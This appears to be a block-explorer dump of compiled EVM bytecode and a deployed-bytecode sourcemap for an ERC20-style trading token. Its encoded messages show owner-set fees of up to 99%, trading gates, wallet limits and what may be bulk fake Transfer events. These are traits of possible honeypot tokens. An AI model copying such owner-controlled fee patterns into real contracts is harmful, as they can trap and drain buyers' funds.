b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b6000614679602f83613e64565b91506146848261461d565b604082019050919050565b600060208201905081810360008301526146a88161466c565b9050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b600061470b603383613e64565b9150614716826146af565b604082019050919050565b6000602082019050818103600083015261473a816146fe565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b600061479d603083613e64565b91506147a882614741565b604082019050919050565b600060208201905081810360008301526147cc81614790565b9050919050565b60006147de82613f73565b91506147e983613f73565b925082820190508082111561480157614800614504565b5b92915050565b7f4d757374206b656570206665657320617420323525206f72206c657373000000600082015250565b600061483d601d83613e64565b915061484882614807565b602082019050919050565b6000602082019050818103600083015261486c81614830565b9050919050565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b60006148a9601d83613e64565b91506148b482614873565b602082019050919050565b600060208201905081810360008301526148d88161489c565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b600061493b602483613e64565b9150614946826148df565b604082019050919050565b6000602082019050818103600083015261496a8161492e565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b60006149cd603583613e64565b91506149d882614971565b604082019050919050565b600060208201905081810360008301526149fc816149c0565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20312520746f74616c20737570706c792e0000000000000000000000000000602082015250565b6000614a5f603283613e64565b9150614a6a82614a03565b604082019050919050565b60006020820190508181036000830152614a8e81614a52565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614af1602683613e64565b9150614afc82614a95565b604082019050919050565b60006020820190508181036000830152614b2081614ae4565b9050919050565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e697368600082015250565b6000614b5d602083613e64565b9150614b6882614b27565b602082019050919050565b60006020820190508181036000830152614b8c81614b50565b9050919050565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60008201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b6000614bef602a83613e64565b9150614bfa82614b93565b604082019050919050565b60006020820190508181036000830152614c1e81614be2565b9050919050565b600081519050614c3481613f7d565b92915050565b600060208284031215614c5057614c4f613f0b565b5b6000614c5e84828501614c25565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614cc3602483613e64565b9150614cce82614c67565b604082019050919050565b60006020820190508181036000830152614cf281614cb6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614d55602283613e64565b9150614d6082614cf9565b604082019050919050565b60006020820190508181036000830152614d8481614d48565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000614dc1602083613e64565b9150614dcc82614d8b565b602082019050919050565b60006020820190508181036000830152614df081614db4565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614e53602583613e64565b9150614e5e82614df7565b604082019050919050565b60006020820190508181036000830152614e8281614e46565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614ee5602383613e64565b9150614ef082614e89565b604082019050919050565b60006020820190508181036000830152614f1481614ed8565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000614f51601683613e64565b9150614f5c82614f1b565b602082019050919050565b60006020820190508181036000830152614f8081614f44565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b6000615009604983613e64565b915061501482614f87565b606082019050919050565b6000602082019050818103600083015261503881614ffc565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b600061509b603583613e64565b91506150a68261503f565b604082019050919050565b600060208201905081810360008301526150ca8161508e565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000615107601383613e64565b9150615112826150d1565b602082019050919050565b60006020820190508181036000830152615136816150fa565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000615199603683613e64565b91506151a48261513d565b604082019050919050565b600060208201905081810360008301526151c88161518c565b9050919050565b60006151da82613f73565b91506151e583613f73565b92508282039050818111156151fd576151fc614504565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000615239601b83613e64565b915061524482615203565b602082019050919050565b600060208201905081810360008301526152688161522c565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006152cb602183613e64565b91506152d68261526f565b604082019050919050565b600060208201905081810360008301526152fa816152be565b9050919050565b600081905092915050565b50565b600061531c600083615301565b91506153278261530c565b600082019050919050565b600061533d8261530f565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061538581613f47565b92915050565b6000602082840312156153a1576153a0613f0b565b5b60006153af84828501615376565b91505092915050565b6000819050919050565b60006153dd6153d86153d3846153b8565b61413d565b613f73565b9050919050565b6153ed816153c2565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61542881613f35565b82525050565b600061543a838361541f565b60208301905092915050565b6000602082019050919050565b600061545e826153f3565b61546881856153fe565b93506154738361540f565b8060005b838110156154a457815161548b888261542e565b975061549683615446565b925050600181019050615477565b5085935050505092915050565b600060a0820190506154c660008301886141b7565b6154d360208301876153e4565b81810360408301526154e58186615453565b90506154f460608301856142c1565b61550160808301846141b7565b969550505050505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203ed13105ada7a07267a7655ff443e7119178392ebd64cc6ea9e3af6c2840e1b664736f6c63430008130033
Deployed Bytecode Sourcemap
160:17374:3:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4025:100:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6192:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1861:64:3;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17319:212;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;237:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5145:108:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8220:157:3;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;796:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;611:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1416:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1376;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7240:234;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6843:355:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13980:223:3;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;330:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17174:137;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;693:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;654:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4987:93:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7607:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;295:28:3;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;897:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8385:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1013:60;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1227:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;976:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5316:127:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1772:148:0;;;;;;;;;;;;;:::i;:::-;;16719:447:3;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4945:120;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7709:144;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;537:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1116;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6283:369;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5119:155;;;;;;;;;;;;;:::i;:::-;;974:79:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;574:24:3;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1262:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6170:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4244:104:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1190:24:3;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;853:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1456:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1338:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7861:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8328:269:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;754:29:3;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5656:175:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8522:208:3;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2083:61;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8012:200;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;937:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7050:182;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6664:378;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7482:215;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1674:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;422:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5685:385;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1082:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2379:146:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5894:151:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;464:33:3;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5339:134;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1153:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2075:244:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1300:31:3;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;504:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15696:1015;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4025:100:1;4079:13;4112:5;4105:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4025:100;:::o;6192:169::-;6275:4;6292:39;6301:12;:10;:12::i;:::-;6315:7;6324:6;6292:8;:39::i;:::-;6349:4;6342:11;;6192:169;;;;:::o;1861:64:3:-;;;;;;;;;;;;;;;;;;;;;;:::o;17319:212::-;1178:13:0;:11;:13::i;:::-;17409:9:3::1;17404:120;17428:8;;:15;;17424:1;:19;17404:120;;;17509:3;17465:28;:41;17494:8;;17503:1;17494:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;17465:41;;;;;;;;;;;;;;;;:47;;;;;;;;;;;;;;;;;;17445:3;;;;;:::i;:::-;;;;17404:120;;;;17319:212:::0;;;:::o;237:51::-;;;:::o;5145:108:1:-;5206:7;5233:12;;5226:19;;5145:108;:::o;8220:157:3:-;1178:13:0;:11;:13::i;:::-;8327:9:3::1;;;;;;;;;;;8299:38;;8316:9;8299:38;;;;;;;;;;;;8360:9;8348;;:21;;;;;;;;;;;;;;;;;;8220:157:::0;:::o;796:50::-;;;;:::o;611:35::-;;;;:::o;1416:33::-;;;;:::o;1376:::-;;;;:::o;7240:234::-;1178:13:0;:11;:13::i;:::-;7359:4:3::1;7353;7349:1;7333:13;:11;:13::i;:::-;:17;;;;:::i;:::-;:24;;;;:::i;:::-;7332:31;;;;:::i;:::-;7322:6;:41;;7314:101;;;;;;;;;;;;:::i;:::-;;;;;;;;;7459:6;7449;:17;;;;:::i;:::-;7426:20;:40;;;;7240:234:::0;:::o;6843:355:1:-;6983:4;7000:36;7010:6;7018:9;7029:6;7000:9;:36::i;:::-;7047:121;7056:6;7064:12;:10;:12::i;:::-;7078:89;7116:6;7078:89;;;;;;;;;;;;;;;;;:11;:19;7090:6;7078:19;;;;;;;;;;;;;;;:33;7098:12;:10;:12::i;:::-;7078:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;7047:8;:121::i;:::-;7186:4;7179:11;;6843:355;;;;;:::o;13980:223:3:-;1178:13:0;:11;:13::i;:::-;14077:9:3::1;14072:124;14096:10;;:17;;14092:1;:21;14072:124;;;14164:10;;14175:1;14164:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;14140:44;;14149:13;;;;;;;;;;;14140:44;;;14179:4;14140:44;;;;;;:::i;:::-;;;;;;;;14115:3;;;;;:::i;:::-;;;;14072:124;;;;13980:223:::0;;;:::o;330:53::-;376:6;330:53;:::o;17174:137::-;17241:4;17264:28;:39;17293:9;17264:39;;;;;;;;;;;;;;;;;;;;;;;;;17257:46;;17174:137;;;:::o;693:54::-;;;;:::o;654:32::-;;;;;;;;;;;;;:::o;4987:93:1:-;5045:5;5070:2;5063:9;;4987:93;:::o;7607:218::-;7695:4;7712:83;7721:12;:10;:12::i;:::-;7735:7;7744:50;7783:10;7744:11;:25;7756:12;:10;:12::i;:::-;7744:25;;;;;;;;;;;;;;;:34;7770:7;7744:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;7712:8;:83::i;:::-;7813:4;7806:11;;7607:218;;;;:::o;295:28:3:-;;;;;;;;;;;;;:::o;897:33::-;;;;;;;;;;;;;:::o;8385:125::-;8450:4;8474:19;:28;8494:7;8474:28;;;;;;;;;;;;;;;;;;;;;;;;;8467:35;;8385:125;;;:::o;1013:60::-;;;;;;;;;;;;;;;;;;;;;;:::o;1227:28::-;;;;:::o;976:30::-;;;;;;;;;;;;;:::o;5316:127:1:-;5390:7;5417:9;:18;5427:7;5417:18;;;;;;;;;;;;;;;;5410:25;;5316:127;;;:::o;1772:148:0:-;1178:13;:11;:13::i;:::-;1879:1:::1;1842:40;;1863:6;;;;;;;;;;;1842:40;;;;;;;;;;;;1910:1;1893:6;;:19;;;;;;;;;;;;;;;;;;1772:148::o:0;16719:447:3:-;1178:13:0;:11;:13::i;:::-;16873:3:3::1;16850:19;:26;;16842:90;;;;;;;;;;;;:::i;:::-;;;;;;;;;16963:4;16951:8;:16;;:33;;;;;16983:1;16971:8;:13;;16951:33;16943:94;;;;;;;;;;;;:::i;:::-;;;;;;;;;17066:19;17048:15;:37;;;;17115:8;17096:16;:27;;;;17150:8;17134:13;;:24;;;;;;;;;;;;;;;;;;16719:447:::0;;;:::o;4945:120::-;4997:4;1178:13:0;:11;:13::i;:::-;5030:5:3::1;5013:14;;:22;;;;;;;;;;;;;;;;;;5053:4;5046:11;;4945:120:::0;:::o;7709:144::-;1178:13:0;:11;:13::i;:::-;7841:4:3::1;7799:31;:39;7831:6;7799:39;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;7709:144:::0;;:::o;537:30::-;;;;;;;;;;;;;:::o;1116:::-;;;;:::o;6283:369::-;1178:13:0;:11;:13::i;:::-;6417::3::1;6399:15;:31;;;;6459:13;6441:15;:31;;;;6495:7;6483:9;:19;;;;6564:9;;6546:15;;6528;;:33;;;;:::i;:::-;:45;;;;:::i;:::-;6513:12;:60;;;;6608:2;6592:12;;:18;;6584:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;6283:369:::0;;;:::o;5119:155::-;1178:13:0;:11;:13::i;:::-;5190:4:3::1;5174:13;;:20;;;;;;;;;;;;;;;;;;5219:4;5205:11;;:18;;;;;;;;;;;;;;;;;;5251:15;5234:14;:32;;;;5119:155::o:0;974:79:0:-;1012:7;1039:6;;;;;;;;;;;1032:13;;974:79;:::o;574:24:3:-;;;;;;;;;;;;;:::o;1262:31::-;;;;:::o;6170:101::-;1178:13:0;:11;:13::i;:::-;6256:7:3::1;6242:11;;:21;;;;;;;;;;;;;;;;;;6170:101:::0;:::o;4244:104:1:-;4300:13;4333:7;4326:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4244:104;:::o;1190:24:3:-;;;;:::o;853:35::-;;;;:::o;1456:27::-;;;;:::o;1338:25::-;;;;:::o;7861:143::-;1178:13:0;:11;:13::i;:::-;7955:41:3::1;7984:4;7990:5;7955:28;:41::i;:::-;7861:143:::0;;:::o;8328:269:1:-;8421:4;8438:129;8447:12;:10;:12::i;:::-;8461:7;8470:96;8509:15;8470:96;;;;;;;;;;;;;;;;;:11;:25;8482:12;:10;:12::i;:::-;8470:25;;;;;;;;;;;;;;;:34;8496:7;8470:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;8438:8;:129::i;:::-;8585:4;8578:11;;8328:269;;;;:::o;754:29:3:-;;;;:::o;5656:175:1:-;5742:4;5759:42;5769:12;:10;:12::i;:::-;5783:9;5794:6;5759:9;:42::i;:::-;5819:4;5812:11;;5656:175;;;;:::o;8522:208:3:-;1178:13:0;:11;:13::i;:::-;8659:15:3::1;;;;;;;;;;;8616:59;;8639:18;8616:59;;;;;;;;;;;;8704:18;8686:15;;:36;;;;;;;;;;;;;;;;;;8522:208:::0;:::o;2083:61::-;;;;;;;;;;;;;;;;;;;;;;:::o;8012:200::-;1178:13:0;:11;:13::i;:::-;8141:5:3::1;8107:25;:31;8133:4;8107:31;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;8198:5;8164:40;;8192:4;8164:40;;;;;;;;;;;;8012:200:::0;;:::o;937:32::-;;;;;;;;;;;;;:::o;7050:182::-;1178:13:0;:11;:13::i;:::-;7166:8:3::1;7135:19;:28;7155:7;7135:28;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;7206:7;7190:34;;;7215:8;7190:34;;;;;;:::i;:::-;;;;;;;;7050:182:::0;;:::o;6664:378::-;1178:13:0;:11;:13::i;:::-;6800::3::1;6781:16;:32;;;;6843:13;6824:16;:32;;;;6880:7;6867:10;:20;;;;6952:10;;6933:16;;6914;;:35;;;;:::i;:::-;:48;;;;:::i;:::-;6898:13;:64;;;;6998:2;6981:13;;:19;;6973:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;6664:378:::0;;;:::o;7482:215::-;1178:13:0;:11;:13::i;:::-;7604:4:3::1;7598;7594:1;7578:13;:11;:13::i;:::-;:17;;;;:::i;:::-;:24;;;;:::i;:::-;7577:31;;;;:::i;:::-;7567:6;:41;;7559:90;;;;;;;;;;;;:::i;:::-;;;;;;;;;7682:6;7672;:17;;;;:::i;:::-;7660:9;:29;;;;7482:215:::0;:::o;1674:39::-;;;;;;;;;;;;;:::o;422:35::-;;;;:::o;5685:385::-;5766:4;1178:13:0;:11;:13::i;:::-;5823:6:3::1;5819:1;5803:13;:11;:13::i;:::-;:17;;;;:::i;:::-;:26;;;;:::i;:::-;5790:9;:39;;5782:105;;;;;;;;;;;;:::i;:::-;;;;;;;;;5940:4;5935:2;5919:13;:11;:13::i;:::-;:18;;;;:::i;:::-;:25;;;;:::i;:::-;5906:9;:38;;5898:101;;;;;;;;;;;;:::i;:::-;;;;;;;;;6031:9;6010:18;:30;;;;6058:4;6051:11;;5685:385:::0;;;:::o;1082:27::-;;;;:::o;2379:146:0:-;1178:13;:11;:13::i;:::-;2481:1:::1;2457:26;;:12;;;;;;;;;;;:26;;;2448:36;;;::::0;::::1;;2510:7;2495:12;;:22;;;;;;;;;;;;;;;;;;2379:146:::0;:::o;5894:151:1:-;5983:7;6010:11;:18;6022:5;6010:18;;;;;;;;;;;;;;;:27;6029:7;6010:27;;;;;;;;;;;;;;;;6003:34;;5894:151;;;;:::o;464:33:3:-;;;;:::o;5339:134::-;5399:4;1178:13:0;:11;:13::i;:::-;5438:5:3::1;5415:20;;:28;;;;;;;;;;;;;;;;;;5461:4;5454:11;;5339:134:::0;:::o;1153:30::-;;;;:::o;2075:244:0:-;1178:13;:11;:13::i;:::-;2184:1:::1;2164:22;;:8;:22;;::::0;2156:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2274:8;2245:38;;2266:6;;;;;;;;;;;2245:38;;;;;;;;;;;;2303:8;2294:6;;:17;;;;;;;;;;;;;;;;;;2075:244:::0;:::o;1300:31:3:-;;;;:::o;504:24::-;;;;:::o;15696:1015::-;15780:4;1178:13:0;:11;:13::i;:::-;15845:19:3::1;;15822:20;;:42;;;;:::i;:::-;15804:15;:60;15796:106;;;;;;;;;;;;:::i;:::-;;;;;;;;;15932:4;15921:7;:15;;15913:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;16017:15;15994:20;:38;;;;16095:28;16126:4;:14;;;16141:13;;;;;;;;;;;16126:29;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16095:60;;16213:20;16236:44;16274:5;16236:33;16261:7;16236:20;:24;;:33;;;;:::i;:::-;:37;;:44;;;;:::i;:::-;16213:67;;16408:1;16393:12;:16;16389:109;;;16425:61;16441:13;;;;;;;;;;;16464:6;16473:12;16425:15;:61::i;:::-;16389:109;16581:19;16618:25;:40;16644:13;;;;;;;;;;;16618:40;;;;;;;;;;;;;;;;;;;;;;;;;16581:78;;16670:4;:9;;;:11;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;16699:4;16692:11;;;;;15696:1015:::0;;;:::o;95:98:0:-;148:7;175:10;168:17;;95:98;:::o;11514:380:1:-;11667:1;11650:19;;:5;:19;;;11642:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11748:1;11729:21;;:7;:21;;;11721:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11832:6;11802:11;:18;11814:5;11802:18;;;;;;;;;;;;;;;:27;11821:7;11802:27;;;;;;;;;;;;;;;:36;;;;11870:7;11854:32;;11863:5;11854:32;;;11879:6;11854:32;;;;;;:::i;:::-;;;;;;;;11514:380;;;:::o;1289:132:0:-;1364:12;:10;:12::i;:::-;1353:23;;:7;:5;:7::i;:::-;:23;;;1345:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1289:132::o;8786:4048:3:-;8934:1;8918:18;;:4;:18;;;8910:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9011:1;8997:16;;:2;:16;;;8989:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9088:1;9078:6;:11;9075:92;;9106:28;9122:4;9128:2;9132:1;9106:15;:28::i;:::-;9149:7;;9075:92;9190:14;;;;;;;;;;;9187:1773;;;9250:7;:5;:7::i;:::-;9242:15;;:4;:15;;;;:49;;;;;9284:7;:5;:7::i;:::-;9278:13;;:2;:13;;;;9242:49;:86;;;;;9326:1;9312:16;;:2;:16;;;;9242:86;:128;;;;;9363:6;9349:21;;:2;:21;;;;9242:128;:158;;;;;9392:8;;;;;;;;;;;9391:9;9242:158;9220:1729;;;9438:13;;;;;;;;;;;9434:148;;9483:19;:25;9503:4;9483:25;;;;;;;;;;;;;;;;;;;;;;;;;:52;;;;9512:19;:23;9532:2;9512:23;;;;;;;;;;;;;;;;;;;;;;;;;9483:52;9475:87;;;;;;;;;;;;:::i;:::-;;;;;;;;;9434:148;9740:20;;;;;;;;;;;9736:423;;;9794:7;:5;:7::i;:::-;9788:13;;:2;:13;;;;:47;;;;;9819:15;9805:30;;:2;:30;;;;9788:47;:79;;;;;9853:13;;;;;;;;;;;9839:28;;:2;:28;;;;9788:79;9784:356;;;9945:12;9903:28;:39;9932:9;9903:39;;;;;;;;;;;;;;;;:54;9895:140;;;;;;;;;;;;:::i;:::-;;;;;;;;;10104:12;10062:28;:39;10091:9;10062:39;;;;;;;;;;;;;;;:54;;;;9784:356;9736:423;10229:31;:35;10261:2;10229:35;;;;;;;;;;;;;;;;;;;;;;;;;10224:710;;10311:20;;10301:6;:30;;10293:96;;;;;;;;;;;;:::i;:::-;;;;;;;;;10450:9;;10433:13;10443:2;10433:9;:13::i;:::-;10424:6;:22;;;;:::i;:::-;:35;;10416:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10224:710;;;10578:31;:37;10610:4;10578:37;;;;;;;;;;;;;;;;;;;;;;;;;10573:361;;10662:20;;10652:6;:30;;10644:97;;;;;;;;;;;;:::i;:::-;;;;;;;;;10573:361;;;10788:31;:35;10820:2;10788:35;;;;;;;;;;;;;;;;;;;;;;;;;10784:150;;10881:9;;10864:13;10874:2;10864:9;:13::i;:::-;10855:6;:22;;;;:::i;:::-;:35;;10847:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10784:150;10573:361;10224:710;9220:1729;9187:1773;10980:28;11011:24;11029:4;11011:9;:24::i;:::-;10980:55;;11056:12;11095:18;;11071:20;:42;;11056:57;;11144:7;:35;;;;;11168:11;;;;;;;;;;;11144:35;:61;;;;;11197:8;;;;;;;;;;;11196:9;11144:61;:104;;;;;11223:19;:25;11243:4;11223:25;;;;;;;;;;;;;;;;;;;;;;;;;11222:26;11144:104;:145;;;;;11266:19;:23;11286:2;11266:23;;;;;;;;;;;;;;;;;;;;;;;;;11265:24;11144:145;11126:289;;;11327:4;11316:8;;:15;;;;;;;;;;;;;;;;;;11360:10;:8;:10::i;:::-;11398:5;11387:8;;:16;;;;;;;;;;;;;;;;;;11126:289